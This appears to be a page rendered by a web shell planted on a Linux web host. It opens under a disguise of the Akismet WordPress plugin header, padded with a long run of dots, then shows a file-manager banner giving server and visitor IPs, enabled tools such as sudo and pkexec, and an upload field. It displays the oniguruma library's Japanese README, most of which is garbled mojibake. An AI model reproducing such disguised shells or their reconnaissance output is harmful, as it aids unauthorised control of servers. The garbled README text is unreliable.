#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/oniguruma-6.8.2/ |
Upload File : |
README.ja 2017/08/25
���� ---- (C) K.Kosako <kkosako0@gmail.com>
https://github.com/kkos/oniguruma
���֤����ɽ���饤�֥��Ǥ��롣
���Υ饤�֥�����Ĺ�ϡ����줾������ɽ�����֥������Ȥ��Ȥ�
ʸ�������ǥ������Ǥ��뤳�ȤǤ��롣
���ݡ��Ȥ��Ƥ���ʸ�������ǥ���:
ASCII, UTF-8, UTF-16BE, UTF-16LE, UTF-32BE, UTF-32LE,
EUC-JP, EUC-TW, EUC-KR, EUC-CN,
Shift_JIS, Big5, GB18030, KOI8-R, CP1251,
ISO-8859-1, ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5,
ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-9, ISO-8859-10,
ISO-8859-11, ISO-8859-13, ISO-8859-14, ISO-8859-15, ISO-8859-16
* GB18030: ���ݷ��λ���
* CP1251: Byte����
------------------------------------------------------------
�饤����
BSD�饤����
���ȡ���
��������: Unix��Cygwin��
1. autoreconf -vfi (* configure������ץȤ��ʤ��Ȥ�����)
2. ./configure
3. make
4. make install
���ȡ���
make uninstall
������ǧ
onig-config --cflags
onig-config --libs
onig-config --prefix
onig-config --exec-prefix
��������: Windows 64/32bit (Visual Studio)��
make_win64 ���뤤�� make_win32 ��¹�
onig_s.lib: static link library
onig.dll: dynamic link library
* ư��ƥ��� (ASCII/Shift_JIS)
1. cd src
2. copy ..\windows\testc.c .
3. nmake -f Makefile.windows ctest
(Visual Studio Community 2015 ��ư���ǧ)
����ɽ��
doc/RE.ja��
�����ˡ
���Ѥ���ץ����ǡ�oniguruma.h�롼�ɤ���(Oniguruma API�ξ��)��
Oniguruma API�ˤĤ��Ƥϡ�doc/API.ja�ȡ�
oniguruma.h��������Ƥ��뷿̾UChar(== unsigned char)��̵���ˤ��������
�ˤϡ�ONIG_ESCAPE_UCHAR_COLLISION��define���Ƥ���oniguruma.h�롼��
���뤳�ȡ����ΤȤ��ˤ�UChar�������줺��OnigUChar�Ȥ���̾�������Τߤ�
ͭ���ˤʤ롣
oniguruma.h��������Ƥ��뷿̾regex_t��̵���ˤ��������ˤϡ�
ONIG_ESCAPE_REGEX_T_COLLISION��define���Ƥ���oniguruma.h�롼��
���뤳�ȡ����ΤȤ��ˤ�regex_t�������줺��OnigRegexType, OnigRegex�Ȥ���
̾�������Τߤ�ͭ���ˤʤ롣
Unix/Cygwin��ǥ���ѥ��롢���������㡧
(prefix��/usr/local�ΤȤ�)
cc sample.c -L/usr/local/lib -lonig
GNU libtool����Ѥ��Ƥ���Τǡ��ץ�åȥե����ब��ͭ�饤�֥��ݡ��Ȥ���
����С����ѤǤ���褦�ˤʤäƤ��롣
��Ū�饤�֥��ȶ�ͭ�饤�֥��Τɤ������Ѥ��뤫����ꤹ���ˡ���¹Ի���Ǥ�
�Ķ������ˡ�ˤĤ��Ƥϡ���ʬ��Ĵ�٤Ʋ�������
Win32�ǥ����ƥ��å���饤�֥��(onig_s.lib)��������ˤϡ�
����ѥ��뤹��Ȥ��� -DONIG_EXTERN=extern ��ѥ�������ɲä��뤳�ȡ�
������ץ����
sample/simple.c �Ǿ��� (Oniguruma API)
sample/names.c ̾���դ����롼�ץ�����Хå�������
sample/encode.c ���Ĥ���ʸ�������ǥ�������
sample/listcap.c ������ǽ�λ�����
sample/posix.c POSIX API������
sample/sql.c ���ѥʸ����ǽ������ (SQL-like �ѥ�����)
sample/user_property.c �桼����Unicode�ץ�ѥƥ��λ�����
�ƥ��ȥץ����
sample/syntax.c Perl��Java��ASISʸˡ�Υƥ���
sample/crnl.c --enable-crnl-as-line-terminator �ƥ���
�������ե�����
oniguruma.h ����API�إå� (����)
onig-config.in onig-config�ץ���� �ƥ�ץ졼��
regenc.h ʸ�������ǥ�����Ȥߥإå�
regint.h �����
regparse.h regparse.c��regcomp.c����������
regcomp.c ����ѥ��롢��Ŭ���ؿ�
regenc.c ʸ�������ǥ�����Ȥ�
regerror.c ���顼��å������ؿ�
regext.c ��ĥAPI�ؿ�
regexec.c �������ȹ�ؿ�
regparse.c ����ɽ���ѥ������ϴؿ�
regsyntax.c ����ɽ���ѥ�����ʸˡ�ؿ�ȹ���ʸˡ��
regtrav.c �������ڽ��ؿ�
regversion.c �Ǿ���ؿ�
st.h �ϥå���ơ��֥�ؿ��
st.c �ϥå���ơ��֥�ؿ�
oniggnu.h GNU regex API�إå� (����)
reggnu.c GNU regex API�ؿ�
onigposix.h POSIX API�إå� (����)
regposerr.c POSIX API���顼��å������ؿ�
regposix.c POSIX API�ؿ�
mktable.c ʸ�������ץơ��֥����ץ����
ascii.c ASCII �����ǥ���
euc_jp.c EUC-JP �����ǥ���
euc_tw.c EUC-TW �����ǥ���
euc_kr.c EUC-KR, EUC-CN �����ǥ���
sjis.c Shift_JIS �����ǥ���
big5.c Big5 �����ǥ���
gb18030.c GB18030 �����ǥ���
koi8.c KOI8 �����ǥ���
koi8_r.c KOI8-R �����ǥ���
cp1251.c CP1251 �����ǥ���
iso8859_1.c ISO-8859-1 (Latin-1)
iso8859_2.c ISO-8859-2 (Latin-2)
iso8859_3.c ISO-8859-3 (Latin-3)
iso8859_4.c ISO-8859-4 (Latin-4)
iso8859_5.c ISO-8859-5 (Cyrillic)
iso8859_6.c ISO-8859-6 (Arabic)
iso8859_7.c ISO-8859-7 (Greek)
iso8859_8.c ISO-8859-8 (Hebrew)
iso8859_9.c ISO-8859-9 (Latin-5 �ޤ��� Turkish)
iso8859_10.c ISO-8859-10 (Latin-6 �ޤ��� Nordic)
iso8859_11.c ISO-8859-11 (Thai)
iso8859_13.c ISO-8859-13 (Latin-7 �ޤ��� Baltic Rim)
iso8859_14.c ISO-8859-14 (Latin-8 �ޤ��� Celtic)
iso8859_15.c ISO-8859-15 (Latin-9 �ޤ��� West European with Euro)
iso8859_16.c ISO-8859-16
(Latin-10 �ޤ��� South-Eastern European with Euro)
utf8.c UTF-8 �����ǥ���
utf16_be.c UTF-16BE �����ǥ���
utf16_le.c UTF-16LE �����ǥ���
utf32_be.c UTF-32BE �����ǥ���
utf32_le.c UTF-32LE �����ǥ���
unicode.c Unicode�����ǥ��ζ��̽��
win32/Makefile Win32�� Makefile (for VC++)
win32/config.h Win32�� config.h
and I'm thankful to Akinori MUSHA.